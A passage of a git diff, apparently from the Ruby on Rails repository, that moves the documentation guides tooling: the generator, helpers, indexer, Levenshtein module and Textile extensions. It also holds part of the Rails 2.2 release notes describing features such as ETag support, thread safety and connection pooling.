diff --git a/guides/code/getting_started/test/test_helper.rb b/guides/code/getting_started/test/test_helper.rb
new file mode 100644
index 0000000000..3daca18a71
--- /dev/null
+++ b/guides/code/getting_started/test/test_helper.rb
@@ -0,0 +1,13 @@
+ENV["RAILS_ENV"] = "test"
+require File.expand_path('../../config/environment', __FILE__)
+require 'rails/test_help'
+
+class ActiveSupport::TestCase
+  # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
+  #
+  # Note: You'll currently still have to declare fixtures explicitly in integration tests
+  # -- they do not yet inherit this setting
+  fixtures :all
+
+  # Add more helper methods to be used by all tests here...
+end
diff --git a/guides/code/getting_started/test/unit/.gitkeep b/guides/code/getting_started/test/unit/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/guides/code/getting_started/test/unit/.gitkeep
diff --git a/railties/guides/code/getting_started/test/unit/comment_test.rb b/guides/code/getting_started/test/unit/comment_test.rb
index b6d6131a96..b6d6131a96 100644
--- a/railties/guides/code/getting_started/test/unit/comment_test.rb
+++ b/guides/code/getting_started/test/unit/comment_test.rb
diff --git a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb b/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
index 2518c16bd5..2518c16bd5 100644
--- a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
+++ b/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb
diff --git a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb b/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
index 4740a18dac..4740a18dac 100644
--- a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
+++ b/guides/code/getting_started/test/unit/helpers/home_helper_test.rb
diff --git a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb b/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
index 48549c2ea1..48549c2ea1 100644
--- a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
+++ b/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb
diff --git a/railties/guides/code/getting_started/test/unit/post_test.rb b/guides/code/getting_started/test/unit/post_test.rb
index 6d9d463a71..6d9d463a71 100644
--- a/railties/guides/code/getting_started/test/unit/post_test.rb
+++ b/guides/code/getting_started/test/unit/post_test.rb
diff --git a/railties/guides/code/getting_started/test/unit/tag_test.rb b/guides/code/getting_started/test/unit/tag_test.rb
index b8498a117c..b8498a117c 100644
--- a/railties/guides/code/getting_started/test/unit/tag_test.rb
+++ b/guides/code/getting_started/test/unit/tag_test.rb
diff --git a/guides/code/getting_started/vendor/plugins/.gitkeep b/guides/code/getting_started/vendor/plugins/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/guides/code/getting_started/vendor/plugins/.gitkeep
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
new file mode 100644
index 0000000000..1955309865
--- /dev/null
+++ b/guides/rails_guides.rb
@@ -0,0 +1,47 @@
+pwd = File.dirname(__FILE__)
+$:.unshift pwd
+
+# This is a predicate useful for the doc:guides task of applications.
+def bundler?
+  # Note that rake sets the cwd to the one that contains the Rakefile
+  # being executed.
+  File.exists?('Gemfile')
+end
+
+begin
+  # Guides generation in the Rails repo.
+  as_lib = File.join(pwd, "../activesupport/lib")
+  ap_lib = File.join(pwd, "../actionpack/lib")
+
+  $:.unshift as_lib if File.directory?(as_lib)
+  $:.unshift ap_lib if File.directory?(ap_lib)
+rescue LoadError
+  # Guides generation from gems.
+  gem "actionpack", '>= 3.0'
+end
+
+begin
+  require 'redcloth'
+rescue Gem::LoadError
+  # This can happen if doc:guides is executed in an application.
+  $stderr.puts('Generating guides requires RedCloth 4.1.1+.')
+  $stderr.puts(<<ERROR) if bundler?
+Please add
+
+  gem 'RedCloth', '~> 4.2'
+
+to the Gemfile, run
+
+  bundle install
+
+and try again.
+ERROR
+
+  exit 1
+end
+
+require "rails_guides/textile_extensions"
+RedCloth.send(:include, RailsGuides::TextileExtensions)
+
+require "rails_guides/generator"
+RailsGuides::Generator.new.generate
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
new file mode 100644
index 0000000000..230bebf3bb
--- /dev/null
+++ b/guides/rails_guides/generator.rb
@@ -0,0 +1,305 @@
+# ---------------------------------------------------------------------------
+#
+# This script generates the guides. It can be invoked via the
+# guides:generate rake task within the guides directory.
+#
+# Guides are taken from the source directory, and the resulting HTML goes into the
+# output directory. Assets are stored under files, and copied to output/files as
+# part of the generation process.
+#
+# Some arguments may be passed via environment variables:
+#
+#   WARNINGS
+#     If you are writing a guide, please work always with WARNINGS=1. Users can
+#     generate the guides, and thus this flag is off by default.
+#
+#     Internal links (anchors) are checked. If a reference is broken levenshtein
+#     distance is used to suggest an existing one. This is useful since IDs are
+#     generated by Textile from headers and thus edits alter them.
+#
+#     Also detects duplicated IDs. They happen if there are headers with the same
+#     text. Please do resolve them, if any, so guides are valid XHTML.
+#
+#   ALL
+#    Set to "1" to force the generation of all guides.
+#
+#   ONLY
+#     Use ONLY if you want to generate only one or a set of guides. Prefixes are
+#     enough:
+#
+#       # generates only association_basics.html
+#       ONLY=assoc ruby rails_guides.rb
+#
+#     Separate many using commas:
+#
+#       # generates only association_basics.html and migrations.html
+#       ONLY=assoc,migrations ruby rails_guides.rb
+#
+#     Note that if you are working on a guide generation will by default process
+#     only that one, so ONLY is rarely used nowadays.
+#
+#   GUIDES_LANGUAGE
+#     Use GUIDES_LANGUAGE when you want to generate translated guides in
+#     <tt>source/<GUIDES_LANGUAGE></tt> folder (such as <tt>source/es</tt>).
+#     Ignore it when generating English guides.
+#
+#   EDGE
+#     Set to "1" to indicate generated guides should be marked as edge. This
+#     inserts a badge and changes the preamble of the home page.
+#
+# ---------------------------------------------------------------------------
+
+require 'set'
+require 'fileutils'
+
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/object/blank'
+require 'action_controller'
+require 'action_view'
+
+require 'rails_guides/indexer'
+require 'rails_guides/helpers'
+require 'rails_guides/levenshtein'
+
+module RailsGuides
+  class Generator
+    attr_reader :guides_dir, :source_dir, :output_dir, :edge, :warnings, :all
+
+    GUIDES_RE = /\.(?:textile|erb)$/
+
+    def initialize(output=nil)
+      set_flags_from_environment
+
+      if kindle?
+        check_for_kindlegen
+        register_kindle_mime_types
+      end
+
+      initialize_dirs(output)
+      create_output_dir_if_needed
+    end
+
+    def set_flags_from_environment
+      @edge     = ENV['EDGE']     == '1'
+      @warnings = ENV['WARNINGS'] == '1'
+      @all      = ENV['ALL']      == '1'
+      @kindle   = ENV['KINDLE']   == '1'
+      @version  = ENV['RAILS_VERSION'] || `git rev-parse --short HEAD`.chomp
+      @lang     = ENV['GUIDES_LANGUAGE']
+    end
+
+    def register_kindle_mime_types
+      Mime::Type.register_alias("application/xml", :opf, %w(opf))
+      Mime::Type.register_alias("application/xml", :ncx, %w(ncx))
+    end
+
+    def generate
+      generate_guides
+      copy_assets
+      generate_mobi if kindle?
+    end
+
+    private
+
+    def kindle?
+      @kindle
+    end
+
+    def check_for_kindlegen
+      if `which kindlegen`.blank?
+        raise "Can't create a kindle version without `kindlegen`."
+      end
+    end
+
+    def generate_mobi
+      opf = "#{output_dir}/rails_guides.opf"
+      out = "#{output_dir}/kindlegen.out"
+
+      system "kindlegen #{opf} -o #{mobi} > #{out} 2>&1"
+      puts "Guides compiled as Kindle book to #{mobi}"
+      puts "(kindlegen log at #{out})."
+    end
+
+    def mobi
+      "ruby_on_rails_guides_#@version%s.mobi" % (@lang.present? ? ".#@lang" : '')
+    end
+
+    def initialize_dirs(output)
+      @guides_dir = File.join(File.dirname(__FILE__), '..')
+      @source_dir = "#@guides_dir/source/#@lang"
+      @output_dir = if output
+        output
+      elsif kindle?
+        "#@guides_dir/output/kindle/#@lang"
+      else
+        "#@guides_dir/output/#@lang"
+      end.sub(%r</$>, '')
+    end
+
+    def create_output_dir_if_needed
+      FileUtils.mkdir_p(output_dir)
+    end
+
+    def generate_guides
+      guides_to_generate.each do |guide|
+        output_file = output_file_for(guide)
+        generate_guide(guide, output_file) if generate?(guide, output_file)
+      end
+    end
+
+    def guides_to_generate
+      guides = Dir.entries(source_dir).grep(GUIDES_RE)
+
+      if kindle?
+        Dir.entries("#{source_dir}/kindle").grep(GUIDES_RE).map do |entry|
+          guides << "kindle/#{entry}"
+        end
+      end
+
+      ENV.key?('ONLY') ? select_only(guides) : guides
+    end
+
+    def select_only(guides)
+      prefixes = ENV['ONLY'].split(",").map(&:strip)
+      guides.select do |guide|
+        prefixes.any? { |p| guide.start_with?(p) || guide.start_with?("kindle") }
+      end
+    end
+
+    def copy_assets
+      FileUtils.cp_r(Dir.glob("#{guides_dir}/assets/*"), output_dir)
+    end
+
+    def output_file_for(guide)
+      if guide =~/\.textile$/
+        guide.sub(/\.textile$/, '.html')
+      else
+        guide.sub(/\.erb$/, '')
+      end
+    end
+
+    def output_path_for(output_file)
+      File.join(output_dir, File.basename(output_file))
+    end
+
+    def generate?(source_file, output_file)
+      fin  = File.join(source_dir, source_file)
+      fout = output_path_for(output_file)
+      all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
+    end
+
+    def generate_guide(guide, output_file)
+      output_path = output_path_for(output_file)
+      puts "Generating #{guide} as #{output_file}"
+      layout = kindle? ? 'kindle/layout' : 'layout'
+
+      File.open(output_path, 'w') do |f|
+        view = ActionView::Base.new(source_dir, :edge => @edge, :version => @version, :mobi => "kindle/#{mobi}")
+        view.extend(Helpers)
+
+        if guide =~ /\.(\w+)\.erb$/
+          # Generate the special pages like the home.
+          # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
+          result = view.render(:layout => layout, :formats => [$1], :file => $`)
+        else
+          body = File.read(File.join(source_dir, guide))
+          body = set_header_section(body, view)
+          body = set_index(body, view)
+
+          result = view.render(:layout => layout, :text => textile(body))
+
+          warn_about_broken_links(result) if @warnings
+        end
+
+        f.write(result)
+      end
+    end
+
+    def set_header_section(body, view)
+      new_body = body.gsub(/(.*?)endprologue\./m, '').strip
+      header = $1
+
+      header =~ /h2\.(.*)/
+      page_title = "Ruby on Rails Guides: #{$1.strip}"
+
+      header = textile(header)
+
+      view.content_for(:page_title) { page_title.html_safe }
+      view.content_for(:header_section) { header.html_safe }
+      new_body
+    end
+
+    def set_index(body, view)
+      index = <<-INDEX
+      <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+      INDEX
+
+      i = Indexer.new(body, warnings)
+      i.index
+
+      # Set index for 2 levels
+      i.level_hash.each do |key, value|
+        link = view.content_tag(:a, :href => key[:id]) { textile(key[:title], true).html_safe }
+
+        children = value.keys.map do |k|
+          view.content_tag(:li,
+            view.content_tag(:a, :href => k[:id]) { textile(k[:title], true).html_safe })
+        end
+
+        children_ul = children.empty? ? "" : view.content_tag(:ul, children.join(" ").html_safe)
+
+        index << view.content_tag(:li, link.html_safe + children_ul.html_safe)
+      end
+
+      index << '</ol>'
+      index << '</div>'
+
+      view.content_for(:index_section) { index.html_safe }
+
+      i.result
+    end
+
+    def textile(body, lite_mode=false)
+      t = RedCloth.new(body)
+      t.hard_breaks = false
+      t.lite_mode = lite_mode
+      t.to_html(:notestuff, :plusplus, :code)
+    end
+
+    def warn_about_broken_links(html)
+      anchors = extract_anchors(html)
+      check_fragment_identifiers(html, anchors)
+    end
+
+    def extract_anchors(html)
+      # Textile generates headers with IDs computed from titles.
+      anchors = Set.new
+      html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
+        if anchors.member?(anchor)
+          puts "*** DUPLICATE ID: #{anchor}, please use an explicit ID, e.g. h4(#explicit-id), or consider rewording"
+        else
+          anchors << anchor
+        end
+      end
+
+      # Footnotes.
+      anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
+      anchors += Set.new(html.scan(/<sup\s+class="footnote"\s+id="([^"]+)/).flatten)
+      return anchors
+    end
+
+    def check_fragment_identifiers(html, anchors)
+      html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
+        next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
+        unless anchors.member?(fragment_identifier)
+          guess = anchors.min { |a, b|
+            Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
+          }
+          puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
+        end
+      end
+    end
+  end
+end
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
new file mode 100644
index 0000000000..e6ef656474
--- /dev/null
+++ b/guides/rails_guides/helpers.rb
@@ -0,0 +1,45 @@
+module RailsGuides
+  module Helpers
+    def guide(name, url, options = {}, &block)
+      link = content_tag(:a, :href => url) { name }
+      result = content_tag(:dt, link)
+
+      if options[:work_in_progress]
+        result << content_tag(:dd, 'Work in progress', :class => 'work-in-progress')
+      end
+
+      result << content_tag(:dd, capture(&block))
+      result
+    end
+
+    def documents_by_section
+      @documents_by_section ||= YAML.load_file(File.expand_path('../../source/documents.yaml', __FILE__))
+    end
+
+    def documents_flat
+      documents_by_section.map {|section| section['documents']}.flatten
+    end
+
+    def finished_documents(documents)
+      documents.reject { |document| document['work_in_progress'] }
+    end
+
+    def docs_for_menu(position)
+      position == 'L' ? documents_by_section.to(3) : documents_by_section.from(4)
+    end
+
+    def author(name, nick, image = 'credits_pic_blank.gif', &block)
+      image = "images/#{image}"
+
+      result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
+      result << content_tag(:h3, name)
+      result << content_tag(:p, capture(&block))
+      content_tag(:div, result, :class => 'clearfix', :id => nick)
+    end
+
+    def code(&block)
+      c = capture(&block)
+      content_tag(:code, c)
+    end
+  end
+end
diff --git a/guides/rails_guides/indexer.rb b/guides/rails_guides/indexer.rb
new file mode 100644
index 0000000000..89fbccbb1d
--- /dev/null
+++ b/guides/rails_guides/indexer.rb
@@ -0,0 +1,68 @@
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/string/inflections'
+
+module RailsGuides
+  class Indexer
+    attr_reader :body, :result, :warnings, :level_hash
+
+    def initialize(body, warnings)
+      @body     = body
+      @result   = @body.dup
+      @warnings = warnings
+    end
+
+    def index
+      @level_hash = process(body)
+    end
+
+    private
+
+    def process(string, current_level=3, counters=[1])
+      s = StringScanner.new(string)
+
+      level_hash = {}
+
+      while !s.eos?
+        re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$}
+        s.match?(re)
+        if matched = s.matched
+          matched =~ re
+          level, idx, title = $1.to_i, $2, $3.strip
+
+          if level < current_level
+            # This is needed. Go figure.
+            return level_hash
+          elsif level == current_level
+            index = counters.join(".")
+            idx ||= '#' + title_to_idx(title)
+
+            raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}")
+
+            key = {
+              :title => title,
+              :id => idx
+            }
+            # Recurse
+            counters << 1
+            level_hash[key] = process(s.post_match, current_level + 1, counters)
+            counters.pop
+
+            # Increment the current level
+            last = counters.pop
+            counters << last + 1
+          end
+        end
+        s.getch
+      end
+      level_hash
+    end
+
+    def title_to_idx(title)
+      idx = title.strip.parameterize.sub(/^\d+/, '')
+      if warnings && idx.blank?
+        puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)"
+      end
+      idx
+    end
+  end
+end
diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb
new file mode 100644
index 0000000000..489aa3ea7a
--- /dev/null
+++ b/guides/rails_guides/levenshtein.rb
@@ -0,0 +1,31 @@
+module RailsGuides
+  module Levenshtein
+    # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance
+    def self.distance(s1, s2)
+      s = s1.unpack('U*')
+      t = s2.unpack('U*')
+      m = s.length
+      n = t.length
+
+      # matrix initialization
+      d = []
+      0.upto(m) { |i| d << [i] }
+      0.upto(n) { |j| d[0][j] = j }
+
+      # distance computation
+      1.upto(m) do |i|
+        1.upto(n) do |j|
+          cost = s[i] == t[j] ? 0 : 1
+          d[i][j] = [
+            d[i-1][j] + 1,      # deletion
+            d[i][j-1] + 1,      # insertion
+            d[i-1][j-1] + cost, # substitution
+          ].min
+        end
+      end
+
+      # all done
+      return d[m][n]
+    end
+  end
+end
diff --git a/guides/rails_guides/textile_extensions.rb b/guides/rails_guides/textile_extensions.rb
new file mode 100644
index 0000000000..1faddd4ca0
--- /dev/null
+++ b/guides/rails_guides/textile_extensions.rb
@@ -0,0 +1,67 @@
+module RedCloth::Formatters::HTML
+  def emdash(opts)
+    "--"
+  end
+end
+
+module RailsGuides
+  module TextileExtensions
+    def notestuff(body)
+      # The following regexp detects special labels followed by a
+      # paragraph, perhaps at the end of the document.
+      #
+      # It is important that we do not eat more than one newline
+      # because formatting may be wrong otherwise. For example,
+      # if a bulleted list follows the first item is not rendered
+      # as a list item, but as a paragraph starting with a plain
+      # asterisk.
+      body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m|
+        css_class = case $1
+                    when 'CAUTION', 'IMPORTANT'
+                      'warning'
+                    when 'TIP'
+                      'info'
+                    else
+                      $1.downcase
+                    end
+        %Q(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
+      end
+    end
+
+    def plusplus(body)
+      body.gsub!(/\+(.*?)\+/) do |m|
+        "<notextile><tt>#{$1}</tt></notextile>"
+      end
+
+      # The real plus sign
+      body.gsub!('<plus>', '+')
+    end
+
+    def brush_for(code_type)
+      case code_type
+        when 'ruby', 'sql', 'plain'
+          code_type
+        when 'erb'
+          'ruby; html-script: true'
+        when 'html'
+          'xml' # html is understood, but there are .xml rules in the CSS
+        else
+          'plain'
+      end
+    end
+
+    def code(body)
+      body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
+        <<HTML
+<notextile>
+<div class="code_container">
+<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false">
+#{ERB::Util.h($2).strip}
+</pre>
+</div>
+</notextile>
+HTML
+      end
+    end
+  end
+end
diff --git a/guides/source/2_2_release_notes.textile b/guides/source/2_2_release_notes.textile
new file mode 100644
index 0000000000..eb4b32329b
--- /dev/null
+++ b/guides/source/2_2_release_notes.textile
@@ -0,0 +1,422 @@
+h2. Ruby on Rails 2.2 Release Notes
+
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
+
+Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails.
+
+endprologue.
+
+h3. Infrastructure
+
+Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
+h4. Internationalization
+
+Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
+
+* Lead Contributors: Rails i18 Team
+* More information :
+** "Official Rails i18 website":http://rails-i18n.org
+** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
+** "Localizing Rails : Demo application":http://github.com/clemens/i18n_demo_app
+
+h4. Compatibility with Ruby 1.9 and JRuby
+
+Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+h3. Documentation
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started.html
+* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
+* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
+* "Active Record Query Interface":http://guides.rubyonrails.org/active_record_querying.html
+* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
+* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
+* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html
+* "Action Controller Overview":http://guides.rubyonrails.org/action_controller_overview.html
+* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
+* "A Guide to Testing Rails Applications":http://guides.rubyonrails.org/testing.html
+* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
+* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
+* "Performance Testing Rails Applications":http://guides.rubyonrails.org/performance_testing.html
+* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/plugins.html
+
+All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
+If you want to generate these guides locally, inside your application:
+
+<ruby>
+rake doc:guides
+</ruby>
+
+This will put the guides inside +Rails.root/doc/guides+ and you may start surfing straight away by opening +Rails.root/doc/guides/index.html+ in your favourite browser.
+
+* Lead Contributors: "Rails Documentation Team":credits.html
+* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/.
+* More information:
+** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide
+** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch
+
+h3. Better integration with HTTP : Out of the box ETag support
+
+Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+<ruby>
+class ArticlesController < ApplicationController
+  def show_with_respond_to_block
+    @article = Article.find(params[:id])
+
+    # If the request sends headers that differs from the options provided to stale?, then
+    # the request is indeed stale and the respond_to block is triggered (and the options
+    # to the stale? call is set on the response).
+    #
+    # If the request headers match, then the request is fresh and the respond_to block is
+    # not triggered. Instead the default render will occur, which will check the last-modified
+    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+    # of rendering the template.
+    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+      respond_to do |wants|
+        # normal response processing
+      end
+    end
+  end
+
+  def show_with_implied_render
+    @article = Article.find(params[:id])
+
+    # Sets the response headers and checks them against the request, if the request is stale
+    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+    # If the request is fresh, then the default render will return a "304 Not Modified"
+    # instead of rendering the template.
+    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+  end
+end
+</ruby>
+
+h3. Thread Safety
+
+The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
+To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
+
+<ruby>
+config.threadsafe!
+</ruby>
+
+* More information :
+** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails
+** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core
+** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html
+
+h3. Active Record
+
+There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
+h4. Transactional Migrations
+
+Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
+
+* Lead Contributor: "Adam Wiggins":http://adam.heroku.com/
+* More information:
+** "DDL Transactions":http://adam.heroku.com/past/2008/9/3/ddl_transactions/
+** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/
+
+h4. Connection Pooling
+
+Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
+
+<ruby>
+development:
+  adapter: mysql
+  username: root
+  database: sample_development
+  pool: 10
+  wait_timeout: 10
+</ruby>
+
+* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/
+* More information:
+** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools
+
+h4. Hashes for Join Table Conditions
+
+You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
+
+<ruby>
+class Photo < ActiveRecord::Base
+  belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+  has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+</ruby>
+
+* More information:
+** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions
+
+h4. New Dynamic Finders
+
+Two new sets of methods have been added to Active Record's dynamic finders family.
+
+h5. +find_last_by_<em>attribute</em>+
+
+The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
+
+<ruby>
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+</ruby>
+
+* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua
+
+h5. +find_by_<em>attribute</em>!+
+
+The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+<ruby>
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+</ruby>
+
+* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com
+
+h4. Associations Respect Private/Protected Scope
+
+Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
+
+* Lead Contributor: Adam Milligan
+* More information:
+** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/
+
+h4. Other ActiveRecord Changes
+
+* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
+* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
+* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
+* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
+
+h3. Action Controller
+
+On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
+h4. Shallow Route Nesting
+
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
+
+<ruby>
+map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+</ruby>
+
+This will enable recognition of (among others) these routes:
+
+<ruby>
+/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+</ruby>
+
+* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
+* More information:
+** "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html#nested-resources
+** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
+
+h4. Method Arrays for Member or Collection Routes
+
+You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
+
+<ruby>
+map.resources :photos, :collection => { :search => [:get, :post] }
+</ruby>
+
+* Lead Contributor: "Brennan Dunn":http://brennandunn.com/
+
+h4. Resources With Specific Actions
+
+By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
+
+<ruby>
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+</ruby>
+
+* Lead Contributor: "Tom Stuart":http://experthuman.com/
+
+h4. Other Action Controller Changes
+
+* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+.
+* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
